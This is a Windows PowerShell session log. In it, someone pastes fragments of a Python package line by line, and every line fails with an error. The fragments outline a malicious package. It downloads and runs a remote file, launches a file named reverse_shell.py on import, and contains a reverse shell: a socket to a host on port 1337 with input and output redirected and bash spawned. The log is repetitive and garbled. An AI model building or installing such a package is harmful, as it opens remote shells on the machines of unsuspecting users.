Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements!
[Link]
PS C:\Users\tiwar> python_package/
python_package/ : The term 'python_package/' is not recognized as the
name of a cmdlet, function, script file, or operable program. Check
the spelling of the name, or if a path was included, verify that the
path is correct and try again.
At line:1 char:1
+ python_package/
+ ~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (python_package/:String)
[], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> ├── LICENSE
├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── LICENSE
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> ├── [Link]
├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── [Link]
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> ├── [Link]
├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── [Link]
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> ├── src/
├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── src/
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> │ └── module_name/
│ : The term '│' is not recognized as the name of a cmdlet, function,
script file, or operable program. Check the spelling of the name, or
if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ │ └── module_name/
+ ~
+ CategoryInfo : ObjectNotFound: (│:String) [], CommandNo
tFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> │ ├── __init__.py
│ : The term '│' is not recognized as the name of a cmdlet, function,
script file, or operable program. Check the spelling of the name, or
if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ │ ├── __init__.py
+ ~
+ CategoryInfo : ObjectNotFound: (│:String) [], CommandNo
tFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> │ └── [Link]
│ : The term '│' is not recognized as the name of a cmdlet, function,
script file, or operable program. Check the spelling of the name, or
if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ │ └── [Link]
+ ~
+ CategoryInfo : ObjectNotFound: (│:String) [], CommandNo
tFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> └── tests/python_package
└── : The term '└──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ └── tests/python_package
+ ~~~
+ CategoryInfo : ObjectNotFound: (└──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> ├── example_module
├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── example_module
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> │ └── __init__.py
│ : The term '│' is not recognized as the name of a cmdlet, function,
script file, or operable program. Check the spelling of the name, or
if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ │ └── __init__.py
+ ~
+ CategoryInfo : ObjectNotFound: (│:String) [], CommandNo
tFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> ├── LICENSE
├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── LICENSE
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> ├── [Link]
├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── [Link]
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> ├── [Link]
├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── [Link]
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> └── [Link]
└── : The term '└──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ └── [Link]
+ ~~~
+ CategoryInfo : ObjectNotFound: (└──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar>
PS C:\Users\tiwar> )
At line:1 char:1
+ )
+ ~
Unexpected token ')' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : UnexpectedToken
PS C:\Users\tiwar>
PS C:\Users\tiwar> toExecute = '[Link]
toExecute : The term 'toExecute' is not recognized as the name of a
cmdlet, function, script file, or operable program. Check the spelling
of the name, or if a path was included, verify that the path is
correct and try again.
At line:1 char:1
+ toExecute = '[Link]
+ ~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (toExecute:String) [], C
ommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> tmpFile = [Link]()
At line:1 char:27
+ tmpFile = [Link]()
+ ~
An expression was expected after '('.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : ExpectedExpression
PS C:\Users\tiwar>
PS C:\Users\tiwar> with [Link](toExecute, stream=True) as response:
At line:1 char:28
+ with [Link](toExecute, stream=True) as response:
+ ~
Missing argument in parameter list.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingArgument
PS C:\Users\tiwar> with open(tmpFile, 'wb') as file:
At line:1 char:22
+ with open(tmpFile, 'wb') as file:
+ ~
Missing argument in parameter list.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingArgument
PS C:\Users\tiwar> for chunk in response.iter_content(chunk_size=1024):
At line:1 char:12
+ for chunk in response.iter_content(chunk_size=1024):
+ ~
Missing opening '(' after keyword 'for'.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingOpenParenthesisAfterKeyword
PS C:\Users\tiwar> [Link](chunk)
chunk : The term 'chunk' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:24
+ [Link](chunk)
+ ~~~~~
+ CategoryInfo : ObjectNotFound: (chunk:String) [], Comma
ndNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar>
PS C:\Users\tiwar> [Link](tmpFile ,shell=False, close_fds=True)pip
install .
At line:1 char:26
+ [Link](tmpFile ,shell=False, close_fds=True)pip install .
+ ~
Missing argument in parameter list.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingArgument
PS C:\Users\tiwar> pip install git+[Link]
pip : The term 'pip' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ pip install git+[Link]
+ ~~~
+ CategoryInfo : ObjectNotFound: (pip:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar>
PS C:\Users\tiwar> python_package
python_package : The term 'python_package' is not recognized as the
name of a cmdlet, function, script file, or operable program. Check
the spelling of the name, or if a path was included, verify that the
path is correct and try again.
At line:1 char:1
+ python_package
+ ~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (python_package:String)
[], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> ├── example_module
├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── example_module
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> │ ├── __init__.py
│ : The term '│' is not recognized as the name of a cmdlet, function,
script file, or operable program. Check the spelling of the name, or
if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ │ ├── __init__.py
+ ~
+ CategoryInfo : ObjectNotFound: (│:String) [], CommandNo
tFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> │ └── [Link]
│ : The term '│' is not recognized as the name of a cmdlet, function,
script file, or operable program. Check the spelling of the name, or
if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ │ └── [Link]
+ ~
+ CategoryInfo : ObjectNotFound: (│:String) [], CommandNo
tFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> ├── LICENSE
├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── LICENSE
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> ├── [Link]
├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── [Link]
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> ├── [Link]
├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── [Link]
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> └── [Link]
└── : The term '└──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ └── [Link]
+ ~~~
+ CategoryInfo : ObjectNotFound: (└──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> from setuptools import setup
At line:1 char:1
+ from setuptools import setup
+ ~~~~
The 'from' keyword is not supported in this version of the language.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : ReservedKeywordNotAllowed
PS C:\Users\tiwar> import subprocess
import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import subprocess
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar>
PS C:\Users\tiwar> setup(
>> name='package-name',
>> include_package_data=True,
>> package_data={'example_module': ['**/*']},
>> packages=['example_module']
>> )
At line:2 char:24
+ name='package-name',
+ ~
Missing argument in parameter list.
At line:4 char:35
+ package_data={'example_module': ['**/*']},
+ ~
Unexpected token ':' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingArgument
PS C:\Users\tiwar>
PS C:\Users\tiwar> [Link]('example_module/[Link]' ,shell=False,
close_fds=True)python_package
At line:1 char:48
+ [Link]('example_module/[Link]' ,shell=False,
close_fds ...
+ ~
Missing expression after ','.
At line:1 char:48
+ [Link]('example_module/[Link]' ,shell=False,
close_fds ...
+ ~~~~~~~~~~~
Unexpected token 'shell=False' in expression or statement.
At line:1 char:48
+ [Link]('example_module/[Link]' ,shell=False,
close_fds ...
+ ~
Missing closing ')' in expression.
At line:1 char:75
+ ... en('example_module/[Link]' ,shell=False,
close_fds=True)python_p ...
+ ~
Unexpected token ')' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingExpressionAfterToken
PS C:\Users\tiwar> ├── example_module
├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── example_module
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> │ ├── __init__.py
│ : The term '│' is not recognized as the name of a cmdlet, function,
script file, or operable program. Check the spelling of the name, or
if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ │ ├── __init__.py
+ ~
+ CategoryInfo : ObjectNotFound: (│:String) [], CommandNo
tFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> │ └── [Link]
│ : The term '│' is not recognized as the name of a cmdlet, function,
script file, or operable program. Check the spelling of the name, or
if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ │ └── [Link]
+ ~
+ CategoryInfo : ObjectNotFound: (│:String) [], CommandNo
tFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> ├── LICENSE
├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── LICENSE
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> ├── [Link]
├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── [Link]
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> ├── README.mdpython_package
├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── README.mdpython_package
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> ├── example_module
├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── example_module
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> │ ├── __init__.py
│ : The term '│' is not recognized as the name of a cmdlet, function,
script file, or operable program. Check the spelling of the name, or
if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ │ ├── __init__.py
+ ~
+ CategoryInfo : ObjectNotFound: (│:String) [], CommandNo
tFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> │ └── [Link]
│ : The term '│' is not recognized as the name of a cmdlet, function,
script file, or operable program. Check the spelling of the name, or
if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ │ └── [Link]
+ ~
+ CategoryInfo : ObjectNotFound: (│:String) [], CommandNo
tFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> ├── LICENSE
├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── LICENSE
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> ├── [Link]
├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── [Link]
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> ├── [Link]
├── : The term '├──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ ├── [Link]
+ ~~~
+ CategoryInfo : ObjectNotFound: (├──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> └── [Link] setuptools import setup
└── : The term '└──' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ └── [Link] setuptools import setup
+ ~~~
+ CategoryInfo : ObjectNotFound: (└──:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar>
PS C:\Users\tiwar> setup(
>> name='package-name',
>> include_package_data=True,
>> package_data={'example_module': ['**/*']},
>> packages=['example_module']
>> )from setuptools import setup
At line:2 char:24
+ name='package-name',
+ ~
Missing argument in parameter list.
At line:4 char:35
+ package_data={'example_module': ['**/*']},
+ ~
Unexpected token ':' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingArgument
PS C:\Users\tiwar>
PS C:\Users\tiwar> setup(
>> name='package-name',
>> include_package_data=True,
>> package_data={'example_module': ['**/*']},
>> packages=['example_module']
>> )from setuptools import setup
At line:2 char:24
+ name='package-name',
+ ~
Missing argument in parameter list.
At line:4 char:35
+ package_data={'example_module': ['**/*']},
+ ~
Unexpected token ':' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingArgument
PS C:\Users\tiwar>
PS C:\Users\tiwar> setup(
>> name='package-name',
>> include_package_data=True,
>> package_data={'example_module': ['**/*']},
>> packages=['example_module']
>> )import subprocess
At line:2 char:24
+ name='package-name',
+ ~
Missing argument in parameter list.
At line:4 char:35
+ package_data={'example_module': ['**/*']},
+ ~
Unexpected token ':' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingArgument
PS C:\Users\tiwar> import os
import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import os
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar>
PS C:\Users\tiwar> modulePath = [Link](__file__)
__file__ : The term '__file__' is not recognized as the name of a
cmdlet, function, script file, or operable program. Check the spelling
of the name, or if a path was included, verify that the path is
correct and try again.
At line:1 char:30
+ modulePath = [Link](__file__)
+ ~~~~~~~~
+ CategoryInfo : ObjectNotFound: (__file__:String) [], Co
mmandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> [Link](f'{modulePath}/[Link]' ,shell=False,
close_fds=True)python -m build
At line:1 char:46
+ [Link](f'{modulePath}/[Link]' ,shell=False,
close_fds= ...
+ ~
Missing argument in parameter list.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingArgument
PS C:\Users\tiwar> pip install your-package
pip : The term 'pip' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ pip install your-package
+ ~~~
+ CategoryInfo : ObjectNotFound: (pip:String) [], Command
NotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> import example_module
import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import example_module
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> import subprocess
import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import subprocess
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> import sys
import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import sys
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> [Link]([[Link],
'example_module/reverse_shell.py'],shell=False, close_fds=True)import subprocess
At line:1 char:70
+ ... [Link]([[Link],
'example_module/reverse_shell.py'],shell=Fa ...
+ ~
Missing expression after ','.
At line:1 char:70
+ ... [Link], 'example_module/reverse_shell.py'],shell=False,
close_ ...
+ ~~~~~~~~~~~
Unexpected token 'shell=False' in expression or statement.
At line:1 char:70
+ ... [Link]([[Link],
'example_module/reverse_shell.py'],shell=Fa ...
+ ~
Missing closing ')' in expression.
At line:1 char:97
+ ... xample_module/reverse_shell.py'],shell=False,
close_fds=True)import s ...
+ ~
Unexpected token ')' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingExpressionAfterToken
PS C:\Users\tiwar>
PS C:\Users\tiwar> import os
import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import os
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> import sys
import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import sys
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar>
PS C:\Users\tiwar> modulePath = [Link](__file__)
__file__ : The term '__file__' is not recognized as the name of a
cmdlet, function, script file, or operable program. Check the spelling
of the name, or if a path was included, verify that the path is
correct and try again.
At line:1 char:30
+ modulePath = [Link](__file__)
+ ~~~~~~~~
+ CategoryInfo : ObjectNotFound: (__file__:String) [], Co
mmandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> [Link]([[Link],
f'{modulePath}/reverse_shell.py'] ,shell=False, close_fds=True)import sys
At line:1 char:70
+ ... [Link]([[Link], f'{modulePath}/reverse_shell.py']
,shell=Fa ...
+ ~
Missing expression after ','.
At line:1 char:70
+ ... [Link], f'{modulePath}/reverse_shell.py'] ,shell=False,
close_ ...
+ ~~~~~~~~~~~
Unexpected token 'shell=False' in expression or statement.
At line:1 char:70
+ ... [Link]([[Link], f'{modulePath}/reverse_shell.py']
,shell=Fa ...
+ ~
Missing closing ')' in expression.
At line:1 char:97
+ ... {modulePath}/reverse_shell.py'] ,shell=False,
close_fds=True)import s ...
+ ~
Unexpected token ')' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingExpressionAfterToken
PS C:\Users\tiwar> import socket
import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import socket
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> import os
import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import os
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> import pty
import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import pty
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar>
PS C:\Users\tiwar> s = [Link]()
At line:1 char:19
+ s = [Link]()
+ ~
An expression was expected after '('.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : ExpectedExpression
PS C:\Users\tiwar> [Link](('[Link]', 1337))
[Link] : The term '[Link]' is not recognized as the name of a
cmdlet, function, script file, or operable program. Check the spelling
of the name, or if a path was included, verify that the path is
correct and try again.
At line:1 char:1
+ [Link](('[Link]', 1337))
+ ~~~~~~~~~
+ CategoryInfo : ObjectNotFound: ([Link]:String) [], C
ommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> [os.dup2([Link](),fd) for fd in (0,1,2)]
At line:1 char:10
+ [os.dup2([Link](),fd) for fd in (0,1,2)]
+ ~
Missing closing ')' in expression.
At line:1 char:1
+ [os.dup2([Link](),fd) for fd in (0,1,2)]
+ ~~~~~~~~~
Unexpected attribute 'os.dup2'.
At line:1 char:11
+ [os.dup2([Link](),fd) for fd in (0,1,2)]
+ ~~~~~~~
Unexpected token '.fileno' in expression or statement.
At line:1 char:19
+ [os.dup2([Link](),fd) for fd in (0,1,2)]
+ ~
An expression was expected after '('.
At line:1 char:23
+ [os.dup2([Link](),fd) for fd in (0,1,2)]
+ ~
Unexpected token ')' in expression or statement.
At line:1 char:28
+ [os.dup2([Link](),fd) for fd in (0,1,2)]
+ ~
Missing opening '(' after keyword 'for'.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingEndParenthesisInExpression
PS C:\Users\tiwar> [Link]('bash')